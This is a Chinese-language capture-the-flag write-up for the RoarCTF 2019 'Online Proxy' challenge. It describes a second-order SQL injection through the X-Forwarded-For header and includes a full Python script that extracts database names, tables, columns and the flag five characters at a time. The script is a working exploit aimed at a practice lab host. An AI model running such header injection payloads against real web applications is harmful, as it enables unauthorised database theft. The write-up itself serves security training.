文章目录
- [RoarCTF 2019Online Proxy]sql巧妙盲注
- 解题
- 脚本
- 脚本解析
[RoarCTF 2019Online Proxy]sql巧妙盲注
解题
在源代码界面发现:Current Ip
我们会联想到:X-Forwarded-For
来修改ip:
结果我们发现,response会讲Last Ip
回显出来,并且我们使用dirsearch
扫描到了db.php
我们自然会联想到数据库。当我们使用X-Forwarded-For
请求的时候,会将上一次的值回显在Last Ip
这里应该是存在sql注入的。
如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入
我们验证可以使用单引号闭合:
第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos
在第三次就会查询出114514
脚本
所以我们就需要编写脚本了:
import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))
脚本解析
这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符,
原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是
字符串与16进制之间的转化
举个例子:
hex('abc')=616263
,然后通过sql函数conv(hex('abc'),16,10) = 6382179
将abc的16进制转为10进制
在sql中16进制可以自动转为字符串:
这种做法大大提高了查询的速度!
bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符
整个脚本的重点就是如下:
payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制
然后将requests
的返回结果取出,转为16进制,最后转为字符
这样实现了一次查询多个字符